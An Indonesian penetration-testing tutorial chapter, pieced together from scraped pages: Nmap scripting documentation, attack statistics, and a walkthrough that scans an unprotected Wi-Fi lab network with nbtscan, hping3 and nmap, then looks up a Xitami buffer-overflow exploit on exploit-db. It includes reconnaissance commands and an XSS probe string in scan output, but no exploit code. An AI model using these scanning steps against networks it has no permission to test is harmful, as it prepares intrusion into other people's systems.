Materi sisipan

Nmap (Network Mapper)

Nmap ("Network Mapper") merupakan sebuah tool open source untuk eksplorasi dan audit keamanan jaringan. Ia dirancang untuk memeriksa jaringan besar secara cepat, meskipun ia dapat pula bekerja terhadap host tunggal. Nmap menggunakan paket IP raw dalam cara yang canggih untuk menentukan host mana saja yang tersedia pada jaringan, layanan (nama aplikasi dan versi) apa yang diberikan, sistem operasi (dan versinya) apa yang digunakan, apa jenis firewall/filter paket yang digunakan, dan sejumlah karakteristik lainnya. Meskipun Nmap umumnya digunakan untuk audit keamanan, namun banyak administrator sistem dan jaringan menganggapnya berguna untuk tugas rutin seperti inventori jaringan, mengelola jadwal upgrade layanan, dan melakukan monitoring uptime host atau layanan.

Output Nmap adalah sebuah daftar target yang diperiksa, dengan informasi tambahannya tergantung pada opsi yang digunakan. Hal kunci di antara informasi itu adalah "tabel port menarik". Tabel tersebut berisi daftar angka port dan protokol, nama layanan, dan status. Statusnya adalah terbuka (open), difilter (filtered), tertutup (closed), atau tidak difilter (unfiltered). Terbuka berarti bahwa aplikasi pada mesin target sedang mendengarkan (listening) untuk koneksi/paket pada port tersebut. Difilter berarti bahwa sebuah firewall, filter, atau penghalang jaringan lainnya memblokir port sehingga Nmap tidak dapat mengetahui apakah ia terbuka atau tertutup. Tertutup port tidak memiliki aplikasi yang sedang mendengarkan, meskipun mereka dapat terbuka kapanpun. Port digolongkan sebagai tidak difilter ketika mereka menanggapi probe Nmap, namun Nmap tidak dapat menentukan apakah mereka terbuka atau tertutup. Nmap melaporkan kombinasi status open|filtered dan closed|filtered ketika ia tidak dapat menentukan status manakah yang menggambarkan sebuah port. Tabel port mungkin juga menyertakan detil versi software ketika diminta melakukan pemeriksaan versi. Ketika sebuah pemeriksaan protokol IP diminta (-sO), Nmap memberikan informasi pada protokol IP yang didukung alih-alih port-port yang mendengarkan.

Sumber : https://nmap.org/man/id/

Materi sisipan

Nmap Scripting Engine

Nmap Scripting Engine (NSE)

Nmap Scripting Engine (NSE) adalah salah satu fitur Nmap yang paling powerful dan fleksibel. Ia memungkinkan user untuk menulis (dan membagi) skrip sederhana (menggunakan bahasa pemrograman Lua,) untuk mengotomasi beragam tugas jaringan. Skrip-skrip tersebut dieksekusi secara parale dengan kecepatan dan efisiensi yang anda harapkan dari Nmap. User dapat mengandalkan beragam skrip yang didistribusikan dengan Nmap, atau menulis sendiri sesuai kebutuhan.

Tugas-tugas yang kami pikirkan ketika membuat sistem termasuk penemuan jaringan, deteksi versi yang lebih canggih, deteksi kerentanan. NSE bahkan dapat digunakan untuk eksploitasi kerentanan.

Untuk mencerminkan penggunaan yang berbeda dan untuk memudahkan pilihan skrip yang diinginkan, setiap skrip berisi field yang mengasosiasikannya dengan satu atau lebih kategori. Kategori yang ada saat ini adalah safe, intrusive, malware, version, discovery, vuln, auth, and default. These are all described at https://nmap.org/book/nse-usage.html#nse-categories.

Nmap Scripting Engine dijelaskan lebih rinci di https://nmap.org/book/nse.html dan dikendalikan oleh opsi-opsi berikut ini:

-sC

Melakukan scan skrip menggunakan sejumlah skrip baku. Ia merupakan ekivalen --script=default. Beberapa skrip dalam kategori ini dianggap intrusif dan tidak seharusnya dijalankan terhadap jaringan target tanpa ijin.

--script <script-categories>|<directory>|<filename>|all

Menjalankan scan skrip (seperti -sC) menggunakan daftar kategori skrip, skrip individual, atau direktori berisikan skrip, aih-alih menggunakan set baku. Nmap akan mencoba dulu menginterpretasikan argumen sebagai kategori, kemudian sebagai file atau direktori. Skrip atau direktori skrip dapat dispesifikasikan dengan path absolut atau relatif. Path absolut digunakan seperti yang diberikan. Path relatif akan dicari dalam tempat-tempat berikut hingga ditemukan : --datadir/; $NMAPDIR/; ~/.nmap/ (tidak dicari pada Windows); NMAPDATADIR/ or ./. A scripts/ subdirektori juga dicari untuk setiap direktori ini.

Jika diberikan sebuah direktori dan ditemukan, Nmap memuat seluruh skrip NSE (semua nama file yang berakhiran dengan .nse) dari direktori tersebut. Nama file tanpa ekstensi nse akan diabaikan. Nmap tidak mencari secara rekursif ke subdirektori untuk mencari skrip. Jika diberikan nama file individual, ekstensi file tidak perlu harus nse.

Skrip Nmap secara baku disimpan dalam subdirektori scripts direktori data Nmap (lihat https://nmap.org/book/data-files.html). Demi efisiensi, skrip diindeks dalam database yang disimpan dalam scripts/script.db. yang mendaftar kategori atau kategori-kategori yang dimiliki skrip. Berikan argumen all untuk menjalankan seluruh skrip dalam database skrip Nmap.

Skrip berbahaya tidak dijalankan dalam sandbox dan karenanya dapat merusak sistem anda atau menggangu privasi anda. Jangan pernah menjalankan skrip dari pihak ketiga kecuali anda mempercayai penulisnya atau telah mengaudit skrip tersebut dengan cermat.

--script-args <name1>=<value1>,<name2>={<name3>=<value3>},<name4>=<value4>

Membolehkan anda memberik argumen ke skrip NSE. Argument diberikan sebagai pasangan name=value. Argumen yang diberikan diproses dan disimpan dalam tabel Lua, yang dapat diakses oleh semua skrip. Nama-nama dianggap sebagai string (yang harus berupa nilai alfanumerik) dan digunakan sebagai kunci dalam argument-table. Nilai dapat berupa string atau tabel (dilingkupi oleh '{' dan '}'). Sebagai contoh, anda dapat memberikan argumen : user=bar,pass=foo,whois={whodb=nofollow+ripe}. Argumen string secara potensial digunakan oleh beberapa skrip; subtables normalnya hanya digunakan oleh satu skrip. Dalam skrip yang menggunakan subtable, ia dinamakan sesuai dengan nama skripnya (seperti whois dalam contoh ini).

--script-trace

Opsi ini melakukan apa yang dilakukan oleh --packet-trace, namun satu tingkat ISO lebih tinggi. Jika diberikan opsi ini seluruh komunikasi incoming dan outgoing yang dilakukan skrip akan dicetak. Informasi yang ditampilkan mencakup protokol komunikasi, sumber, target dan data yang ditransmisikan. Jika lebih dari 5% seluruh data yang ditransmisikan tidak dapat dicetak, maka output trace dalam format hex. --packet-trace juga mengaktifkan tracing skrip.

--script-updatedb

Opsi ini mengupdate database skrip yang ditemukan dalam scripts/script.db yang digunakan Nmap untuk menentukan skrip baku dan kategori yang tersedia. Opsi ini digunakan bila anda menambah atau mengurangi skrip NSE dari direktori baku scripts atau bila anda merubah kategori sembarang skrip. Opsi ini biasanya digunakan sendirian: nmap --script-updatedb.

Sumber https://nmap.org/man/id/man-nse.html

The Nmap Scripting Engine (NSE)

The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts to automate a wide variety of networking tasks. Those scripts are then executed in parallel with the speed and efficiency you expect from Nmap. Users can rely on the growing and diverse set of scripts distributed with Nmap, or write their own to meet custom needs.

We designed NSE to be versatile, with the following tasks in mind:

Network discovery

This is Nmap's bread and butter. Examples include looking up whois data based on the target domain, querying ARIN, RIPE, or APNIC for the target IP to determine ownership, performing identd lookups on open ports, SNMP queries, and listing available NFS/SMB/RPC shares and services.

More sophisticated version detection

The Nmap version detection system (Chapter 7, Service and Application Version Detection) is able to recognize thousands of different services through its probe and regular expression signature based matching system, but it cannot recognize everything. For example, identifying the Skype v2 service requires two independent probes, which version detection isn't flexible enough to handle. Nmap could also recognize more SNMP services if it tried a few hundred different community names by brute force. Neither of these tasks are well suited to traditional Nmap version detection, but both are easily accomplished with NSE. For these reasons, version detection now calls NSE by default to handle some tricky services. This is described in the section called “Version Detection Using NSE”.

Vulnerability detection

When a new vulnerability is discovered, you often want to scan your networks quickly to identify vulnerable systems before the bad guys do. While Nmap isn't a comprehensive vulnerability scanner, NSE is powerful enough to handle even demanding vulnerability checks. Many vulnerability detection scripts are already available and we plan to distribute more as they are written.

Backdoor detection

Many attackers and some automated worms leave backdoors to enable later reentry. Some of these can be detected by Nmap's regular expression based version detection. For example, within hours of the MyDoom worm hitting the Internet, Jay Moran posted an Nmap version detection probe and signature so that others could quickly scan their networks for MyDoom infections. NSE is needed to reliably detect more complex worms and backdoors.

Vulnerability exploitation

As a general scripting language, NSE can even be used to exploit vulnerabilities rather than just find them. The capability to add custom exploit scripts may be valuable for some people (particularly penetration testers), though we aren't planning to turn Nmap into an exploitation framework such as Metasploit.

Sumber : https://nmap.org/book/nse.html

Contoh

```
root@kalidata:~# nmap -sV -O -p 443 --script ssl-heartbleed 192.168.1.102

Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-23 03:23 EST
Nmap scan report for 192.168.1.102
Host is up (0.00094s latency).
PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptog
raphic software library. It allows for stealing information intended to be prote
cted by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0
.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for read
ing memory of systems protected by the vulnerable OpenSSL versions and could all
```

nmap -sV -O -p 443 --script ssl-heartbleed 192.168.1.102

Contoh lain

```
root@kalidata:/home/kurniawan# nmap -p80 --script http-waf-detect 192.168.1.102

Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-08 04:18 EST
Nmap scan report for 192.168.1.102
Host is up (0.00084s latency).
PORT   STATE SERVICE
80/tcp open  http
| http-waf-detect: IDS/IPS/WAF detected:
|_192.168.1.102:80/?p4y104d3=<script>alert(document.cookie)</script>
MAC Address: 08:00:27:1D:82:E3 (Oracle VirtualBox virtual NIC)
```

```
root@dhcppc4:~# nmap -p80 --script http-waf-detect 192.168.1.102

Starting Nmap 6.25 ( http://nmap.org ) at 2016-11-06 02:22 EST
Nmap scan report for 192.168.1.102
Host is up (0.00086s latency).
PORT   STATE SERVICE
80/tcp open  http
| http-waf-detect: IDS/IPS/WAF detected:
|_192.168.1.102:80/?p4yl04d3=<script>alert(document.cookie)</script>
MAC Address: 08:00:27:1D:82:E3 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds
```

nmap -p80 --script http-waf-detect 192.168.1.102

Hasilnya terdeteksi WAF

```
root@dhcppc4:~# nmap -p80 --script http-waf-detect 192.168.1.32

Starting Nmap 6.25 ( http://nmap.org ) at 2016-11-06 02:25 EST
Nmap scan report for vpsjogja.com (192.168.1.32)
Host is up (0.00045s latency).
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:45:68:26 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds
```

nmap -p80 --script http-waf-detect 192.168.1.32

Hasilnya tidak terdeteksi WAF

Materi sisipan

Desktop Windows Version Market Share Worldwide

http://gs.statcounter.com/os-version-market-share/windows/desktop/worldwide

http://gs.statcounter.com/windows-version-market-share/desktop/indonesia

http://gs.statcounter.com/windows-version-market-share/desktop/china

http://gs.statcounter.com/windows-version-market-share/desktop/north-korea

Subcategories of Linux

This diagram shows the percentages of websites using various subcategories of Linux.

How to read the diagram:
Ubuntu is used by 38.8% of all the websites who use Linux.

Percentages of websites using various subcategories of Linux

https://w3techs.com/technologies/details/os-linux/all/all

https://www.serverwatch.com/columns/slideshows/top-10-linux-server-distributions.html

https://www.linuxcounter.net/statistics/distributions

REFUGEES WELCOME!

LinuxCounter.net

Home Blog News Statistics Download API ToolBox Info Donations Sign in Sign up

ramco HIGHLY RECOMMENDED PAYROLL SOFTWARE SUPPLIER - 2017
ramco Ramco Global Payroll S/W
Trusted by Fortune 500 & MNCs to manage Multi-country operations. Explore

Statistics about the Linux distributions

Name	Machines
Ubuntu	39,200
Debian GNU/Linux	26,933
Fedora	10,068
Slackware Linux	9,777
SuSE Linux	9,388
Gentoo Linux	7,421

The estimation of linux users

At this moment, there are

598,485

users and

164,755

machines registered.
My guess at the number of Linux users:

94,097,438

https://www.linuxcounter.net/statistics/distributions

BuiltWith Pty Ltd (AU) https://trends.builtwith.com/cms

Log In · Sign Up for Free

builtwith Tools Features Plans & Pricing Customers Resources e.g. techcrunch.com or Magento

Home > Trends > Content Management System

CMS Usage Statistics

Statistics for websites using CMS technologies

Switch Chart Data

- Top 10k Sites
- Top 100k Sites
- Top Million Sites
- The Entire Internet
- Country Statistics

Top 10 Legend

- WordPress
- Drupal
- Google Search Appliance
- Joomla!
- vBulletin
- Siteimprove
- Adobe CQ
- WP Engine
- Sitecore CMS
- Blogger

https://trends.builtwith.com/cms

www.zone-h.org/news/id/4737

Search

Webserver defaced	Year 2010
Apache	1.095.982
IIS/6.0	195.154
nginx	40.640
LiteSpeed	37.795
Zeus	14.111
Unknown	10.763
IIS/7.0	10.433
IIS/5.0	6.109
IIS/7.5	4.002
NOYB*	2.083
lighttpd	733
YTS*	306
IdeaWebServer	305
IIS/5.1	196
IIS/4.0	141
WebSitePro	59
Microsoft-HTTPAPI	52
Rapidsite	51
IBM_HTTP_SERVER	38

www.zone-h.org/news/id/4737

Attack Method	Year 2010
File Inclusion	634.620
Attack against the administrator/user (password stealing/sniffing)	220.521
Other Web Application bug	124.878
SQL Injection	98.250
Not available	91.402
Known vulnerability (i.e. unpatched system)	42.849
Undisclosed (new) vulnerability	25.552
Other Server intrusion	19.528
Web Server intrusion	18.976
FTP Server intrusion	15.619
SSH Server intrusion	15.214
Configuration /admin. mistake	13.901
URL Poisoning	13.191
Remote administrative panel access through bruteforcing	12.132
Brute force attack	10.145
Shares misconfiguration	9.530
RPC Server intrusion	7.911
Telnet Server intrusion	7.530
Web Server external module intrusion	7.368
Mail Server intrusion	6.260
social engineering	4.776
DNS attack through cache poisoning	3.689
DNS attack through social engineering	2.878
Rerouting after attacking the Firewall	2.550

http://www.zone-h.org/news/id/4737

blog.ptsecurity.com/2017/09/web-application-attack-statistics-q2.html Search

Figure 1. Top 10 web application attacks

blog.ptsecurity.com/2017/09/web-application-attack-statistics-q2.html Search

exploits various web application vulnerabilities in order to obtain additional data about users, the system itself, and other sensitive information.

Figure 2. Top 5 attacks on web applications of government institutions

http://blog.ptsecurity.com/2017/09/web-application-attack-statistics-q2.html

https://sucuri.net/website-security/hacked-reports/Sucuri-Hacked-Website-Report-2016Q3.pdf

www.hackmageddon.com/2017/10/20/september-2017-cyber-attacks-statistics/

HACKMAGEDDON

Information Security Timelines and Statistics

Reach 550 MILLION professionals with LinkedIn ads

ABOUT SUBMIT AN ATTACK CYBER ATTACKS TIMELINE CYBER ATTACKS STATISTICS

http://www.hackmageddon.com/2017/10/20/september-2017-cyber-attacks-statistics/

Overall statistics for 2017

2017 has also seen a substantial rise in SQL Injection vulnerabilities. It's surprising how many sites were put in danger by vulnerabilities found in WordPress plugins. The total number of active installs is 17,101,300+.

Total vulnerable plugins – 202

- Total vulnerable themes – 5
- Plugins affected by vulnerabilities in WordPress.org repository – 153
- Non-WordPress.org repository plugins affected by vulnerabilities – 24

WordPress top 3 vulnerabilities

- Cross-Site Scripting (XSS)
- SQL Injection (SQLi)
- Broken Access Control

Plugins by vulnerability type

- XSS (Cross-Site Scripting) – 71
- SQL Injection – 40
- Unrestricted Access – 20
- Cross Site Request Forgery (CSRF) – 12
- Multi – 10
- Information Disclosure – 10
- Arbitrary File
-
- – 7
- BYPASS – 7
- Arbitrary File Download – 7
- PHP Object Injection – 5
- Remote File Inclusion – 3
- Local File Inclusion – 3

- Arbitrary Code Execution – 2
- Direct static code injection – 1
- Directory Traversal – 1

Top 5 most popular plugins affected by vulnerabilities in 2017

- Yoast SEO (most popular SEO plugin) – 5,000,000+ – XSS (Cross-site Scripting)
- WooCommerce (most popular ecommerce plugin) – 3,000,000+ – XSS (Cross-site Scripting)
- Smush Image Compression and Optimization – 1,000,000+ – Directory Traversal
- Duplicator – 1,000,000+ – XSS (Cross-site Scripting)
- Loginizer – 600,000+ – SQL Injection

Sumber : http://securityaffairs.co/wordpress/68114/hacking/wordpress-plugins-themes-flaws-2017.html

Global Cybersecurity Index 2017 Score - Global Cybersecurity Index 2017

Executive Summary

The Global Cybersecurity Index (GCI) is a survey that measures the commitment of Member States to cybersecurity in order to raise awareness.

The GCI revolves around the ITU Global Cybersecurity Agenda (GCA) and its five pillars (legal, technical, organizational, capacity building and cooperation). For each of these pillars, questions were developed to assess commitment. Through consultation with a group of experts, these questions were weighted in order to arrive at an overall GCI score. The survey was administered through an online platform through which supporting evidence was also collected.

One-hundred and thirty-four Member States responded to the survey throughout 2016. Member States who did not respond were invited to validate responses determined from open-source research. As such, the GCI results reported herein cover all 193 ITU Member States.

The 2017 publication of the GCI continues to show the commitment to cybersecurity of countries around the world. The overall picture shows improvement and strengthening of all five elements of the cybersecurity agenda in various countries in all regions. However, there is space for further improvement in cooperation at all levels, capacity building and organizational measures. As well, the gap in the level of cybersecurity engagement between different regions is still present and visible. The level of development of the different pillars varies from country to country in the regions, and while commitment in Europe remains very high in the legal and technical fields in particular, the challenging situation in the Africa and Americas regions shows the need for continued engagement and support.

In addition to providing the GCI score, this report also provides a set of illustrative practices that give insight into the achievements of certain countries.

Annex 2 – GCI 2017 Score

Member State	Score	Global Rank
Singapore	0.925	1
United States of America	0.919	2
Malaysia	0.893	3
Oman	0.871	4
Estonia	0.846	5
Mauritius	0.830	6
Australia	0.824	7
Georgia	0.819	8
France	0.819	8
Canada	0.818	9
Russian Federation	0.788	10
Japan	0.786	11
Norway	0.786	11
United Kingdom	0.783	12
Republic of Korea	0.782	13
Egypt	0.772	14
Netherlands	0.760	15
Finland	0.741	16
Finland	0.741	16
Sweden	0.733	17
Switzerland	0.727	18
New Zealand	0.718	19
Israel	0.691	20
Latvia	0.688	21
Thailand	0.684	20
India	0.683	23
Germany	0.679	24
Qatar	0.676	25
Ireland	0.675	26
Belgium	0.671	27

Member State	Score	Global Rank
Mexico	0.660	28
Uruguay	0.647	29
Austria	0.639	30
Italy	0.626	31
China	0.624	32
Poland	0.622	33
Denmark	0.617	34
Czech Republic	0.609	35
Rwanda	0.602	36
Luxembourg	0.602	36
Philippines	0.594	37
Brazil	0.593	38
Belarus	0.592	39
Tunisia	0.591	40
Croatia	0.590	41
Romania	0.585	42
Turkey	0.581	43
Bulgaria	0.579	44
Kenya	0.574	45
Colombia	0.569	46
Saudi Arabia	0.569	46
Nigeria	0.569	46
United Arab Emirates	0.566	47
United Arab Emirates	0.566	47
Azerbaijan	0.559	48
Morocco	0.541	49
Uganda	0.536	50
Hungary	0.534	51
Democratic People's Republic of Korea	0.532	52
Brunei Darussalam	0.524	53
Bangladesh	0.524	53
Spain	0.519	54

Member State	Score	Global Rank
The Former Yugoslav Republic of Macedonia	0.517	55
Portugal	0.508	56
Lithuania	0.504	57
South Africa	0.502	58
Ukraine	0.501	59
Iran	0.494	60
Cyprus	0.487	61
Panama	0.485	62
Argentina	0.482	63
Greece	0.475	64
Bahrain	0.467	65
Ecuador	0.466	66
Pakistan	0.447	67
Algeria	0.432	68
Botswana	0.430	69
Indonesia	0.424	70
Montenegro	0.422	71
Sri Lanka	0.419	72
Moldova	0.418	73
Côte d'Ivoire	0.416	74
Cameroon	0.413	75
Malta	0.399	76
Lao	0.392	77
Iceland	0.384	78

Sumber : https://www.itu.int/dms_pub/itu-d/opb/str/D-STR-GCI.01-2017-PDF-E.pdf

Bab 13

Kasus hacking saat access point tidak diproteksi dengan password

13.1 Pengumpulan data seperti nama SSID, ip address yang didapatkan dan sebagainya

Di sini kali linux menghubungkan diri dengan access point yang menggunakan SSID Belajar 1.

Hasil dari melakukan koneksi adalah Connection Established.

Jika ingin mengetahui siapa saja yang ada dijaringan berdasarkan nama komputer, jalankan perintah smbtree -a.

Cara mengetahui nama komputer beserta ip address nya secara cepat di jaringan

```
root@kalibr:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.101  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::a00:27ff:feb9:ce2a  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:b9:ce:2a  txqueuelen 1000  (Ethernet)
        RX packets 1173  bytes 833029 (813.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2122  bytes 108416 (105.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        device interrupt 10  base 0xd020

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
```

ifconfig

```
root@kalibr:~# nbtscan 192.168.1.0/24
Doing NBT name scan for addresses from 192.168.1.0/24

IP address       NetBIOS Name     Server    User             MAC address
-------------------------------------------------------------------------------
192.168.1.0     Sendto failed: Permission denied
192.168.1.9      KURNIAWAN        <server>  <unknown>        74:27:ea:0c:4f:67
192.168.1.128    PCDATA                     <unknown>        e0:3f:49:54:65:9d
192.168.1.129    PCWINDOWS                  <unknown>        00:e0:4c:a9:45:c7
192.168.1.164    DESKTOP-QT3TAM5  <server>  <unknown>        c4:4e:ac:7f:49:84
192.168.1.255   Sendto failed: Permission denied
root@kalibr:~#
```

nbtscan 192.168.1.0/24

Jika ingin tahu ip address yang didapat dari DHCP Server maka ketikkan ifconfig lalu enter.

```
root@kalidata:~# ifconfig
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:18 errors:0 dropped:0 overruns:0 frame:0
          TX packets:18 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:1145 (1.1 KiB)  TX bytes:1145 (1.1 KiB)

wlan1     Link encap:Ethernet  HWaddr 64:66:b3:1e:a4:cd
          inet addr:192.168.1.102  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::6666:b3ff:fe1e:a4cd/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:27 errors:0 dropped:0 overruns:0 frame:0
          TX packets:11 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:6853 (6.6 KiB)  TX bytes:1642 (1.6 KiB)

root@kalidata:~#
```

Tips trik

Cara mendeteksi ip dan mac secara cepat beserta dengan MAC vendor

```
root@dhcppc4: /home/kurniawan
File  Edit  View  Search  Terminal  Help
Currently scanning: 172.16.142.0/16   |   Screen View: Unique Hosts

49 Captured ARP Req/Rep packets, from 7 hosts.   Total size: 2940
_____________________________________________________________________________
  IP            At MAC Address      Count  Len   MAC Vendor
-----------------------------------------------------------------------------
192.168.1.1     10:fe:ed:a4:15:b8    07    420   Unknown vendor
192.168.1.9     74:27:ea:0c:4f:67    37    2220   Unknown vendor
192.168.1.31    08:00:27:e7:24:31    01    060   CADMUS COMPUTER SYSTEMS
192.168.1.164   c4:4e:ac:7f:49:84    01    060   Unknown vendor
192.168.1.209   6c:3b:6b:ee:c4:56    01    060   Unknown vendor
192.168.1.254   c0:4a:00:87:86:a2    01    060   Unknown vendor
192.168.1.253   c0:4a:00:87:80:51    01    060   Unknown vendor
```

Ketik netdiscover lalu enter

Cara mengetahui ip address pada sebuah nama komputer

```
root@dhcppc4:/home/kurniawan# nmblookup winxpdata
querying winxpdata on 192.168.1.255
name_query failed to find name winxpdata
root@dhcppc4:/home/kurniawan#
```

Untuk mengetahui ip address target melalui nama computer

Scanning port dengan HPING3

```
root@kalibr:~# hping3 --scan 0-500 -S 192.168.1.129
Scanning 192.168.1.129 (192.168.1.129), port 0-500
501 ports to scan, use -V to see all the replies
+----+----------+--------+---+-----+-----+-----+
|port| serv name |  flags  |ttl| id  | win | len |
+----+----------+--------+---+-----+-----+-----+
  135 loc-srv     : .S..A... 128 43345  8192    46
  139 netbios-ssn: .S..A... 128 44369  8192    46
  445 microsoft-d: .S..A... 128 56146  8192    46
   21 ftp         : .S..A... 128 10323  8192    46
   53 domain      : .S..A... 128 18515  8192    46
All replies received. Done.
Not responding ports:
root@kalibr:~#
```

-S : set Syn Flag

The SYN[chronize] flag is the TCP packet flag that is used to initiate a TCP connection. A packet containing solely a SYN flag is the first part of the "three-way handshake" of TCP connection initiation. It is responded to with a SYN-ACK packet.

Packets setting the SYN flag can also be used to perform a SYN flood and a SYN scan.

Sumber : http://wiki.hping.org/103

Sumber gambar : http://wiki.hping.org/122

TCP Three-way handshake

Proses pembuatan koneksi TCP disebut juga dengan "Three-way Handshake". Tujuan metode ini adalah agar dapat melakukan sinkronisasi terhadap nomor urut dan nomor acknowledgement yang dikirimkan oleh kedua pihak dan saling bertukar ukuran TCP Window. Prosesnya dapat digambarkan sebagai berikut:

- Host pertama (yang ingin membuat koneksi) akan mengirimkan sebuah segmen TCP dengan flag SYN diaktifkan kepada - host kedua (yang hendak diajak untuk berkomunikasi).

- Host kedua akan meresponsnya dengan mengirimkan segmen dengan acknowledgment dan juga SYN kepada host pertama.

- Host pertama selanjutnya akan mulai saling bertukar data dengan host kedua.

TCP menggunakan proses jabat tangan yang sama untuk mengakhiri koneksi yang dibuat. Hal ini menjamin dua host yang sedang terkoneksi tersebut telah menyelesaikan proses transmisi data dan semua data yang ditransmisikan telah diterima dengan baik. Itulah sebabnya, mengapa TCP disebut dengan koneksi yang reliable.

Sumber : https://id.wikipedia.org/wiki/Transmission_Control_Protocol

Sumber : https://id.wikipedia.org/w/index.php?title=Berkas:TCP_Three_Way_Handshake.png&filetimestamp=20070419093856&

Acknowledgment

Karakter tanggapan atau karakter balas dalam dalam teknologi informasi adalah sebuah transmisi yang dikirimkan oleh pihak station penerima dalam jaringan kepada pihak pengirim bahwa data yang dikirimkan telah diterima dengan sempurna tanpa ada kesalahan.

Sumber : https://id.wikipedia.org/wiki/Karakter_tanggapan

ACK

Mengindikasikan field Acknowledgment mengandung oktet selanjutnya yang diharapkan dalam koneksi. Flag ini selalu diset, kecuali pada segmen pertama pada pembuatan sesi koneksi TCP.

Sumber : https://id.wikipedia.org/wiki/Transmission_Control_Protocol

13.2 Scanning ip address komputer di jaringan

Berdasarkan informasi ip address yang didapat dan subnet mask yang gunakan maka di sini akan dilakukan scanning dengan NMAP keberadaan komputer dari ip address 192.168.1.1-254.

```
root@kalidata:~# nmap -sn 192.168.1.1-254

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-08 15:48 EDT
Nmap scan report for 192.168.1.1
Host is up (0.044s latency).
MAC Address: 64:66:B3:CC:6A:2A (Tp-link Technologies CO.)
Nmap scan report for 192.168.1.3
Host is up (0.035s latency).
MAC Address: E8:94:F6:44:0C:9B (Tp-link Technologies Co.)
Nmap scan report for 192.168.1.30
Host is up (0.0033s latency).
MAC Address: A0:F3:C1:28:55:38 (Tp-link Technologies CO.)
Nmap scan report for 192.168.1.31
Host is up (0.15s latency).
MAC Address: 08:00:27:FF:4C:E6 (Cadmus Computer Systems)
Nmap scan report for 192.168.1.39
Host is up (0.24s latency).
MAC Address: 08:00:27:07:7A:E4 (Cadmus Computer Systems)
Nmap scan report for 192.168.1.53
Host is up (0.11s latency).
MAC Address: 4C:72:B9:B1:06:16 (Pegatron)
Nmap scan report for 192.168.1.54
Host is up (0.12s latency).
MAC Address: 00:1E:90:47:BD:B3 (Elitegroup Computer Systems Co)
Nmap scan report for 192.168.1.128
Host is up (0.011s latency).
MAC Address: A0:F3:C1:28:55:38 (Tp-link Technologies CO.)
Nmap scan report for 192.168.1.102
Host is up.
Nmap scan report for 192.168.1.112
Host is up.
Nmap done: 254 IP addresses (10 hosts up) scanned in 47.27 seconds
root@kalidata:~#
```

Untuk pertama yang akan dijadikan contoh adalah hacking pada komputer dengan ip address 192.168.1.39. Untuk mengetahui informasi yang jauh lebih lengkap tentang komputer dengan ip address tersebut ketik nmap -A 192.168.1.39.

```
root@kalidata:~# nmap -A 192.168.1.39

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-08 15:49 EDT
Nmap scan report for 192.168.1.39
Host is up (0.052s latency).
Not shown: 993 closed ports
PORT    STATE SERVICE      VERSION
21/tcp  open  ftp          Xitami ftpd 2.5b4 (1/25 users)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-------   1 user     user          400 Sep 21  1997 index.htm
|_-rw-------   1 user     user          194 Oct 25  1997 index.txt
|_ftp-bounce: bounce working!
22/tcp  open  ssh          WeOnlyDo sshd 1.2.7 (protocol 2.0)
| ssh-hostkey:
|   1024 89:d7:d3:62:97:99:4e:22:3e:07:c4:a5:8e:ef:e4:9a (DSA)
|_  1024 a6:6b:a5:31:1a:32:39:c6:4a:d4:58:68:5c:36:ae:50 (RSA)
80/tcp  open  http         Xitami httpd
|_http-methods: No Allow or Public header in OPTIONS response (status code 50
|_http-title: Welcome To Xitami v2.5b4
81/tcp  open  http         Xitami httpd admin port
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
MAC Address: 08:00:27:07:7A:E4 (Cadmus Computer Systems)
Device type: general purpose
Running: Microsoft Windows XP|2003
```

Terdeteksi target menggunakan web server Xitami v2.5b4

Exploit dapat dicari dengan alamat situs http://exploit-db.com lalu klik search.

Masukkan kata kunci xitami di input search

https://www.exploit-db.com/search/

EXPLOIT DATABASE

Home Exploits Shellcode Papers Google Hacking Database Submit

Search the Exploit Database

Search the Database for Exploits, Papers, and Shellcode. You can even search by **CVE** and **OSVDB** identifiers.

xitami | CVE (eg: 2015-1423) | SEARCH

Advanced search

Di temukan exploit untuk XITAMI

EXPLOIT DATABASE

Home Exploits Shellcode Papers Google Hacking Database Submit Search

Search the Database for Exploits, Papers, and Shellcode. You can even search by **CVE** and **OSVDB** identifiers.

xitami | CVE (eg: 2015-1423) | SEARCH

Advanced search

Date	D	A	V	Title	Platform	Author
2011-06-04				Xitami Web Server 2.5b4 - Remote Buffer Overflow (Egghunter)	windows	Glafkos Charal.
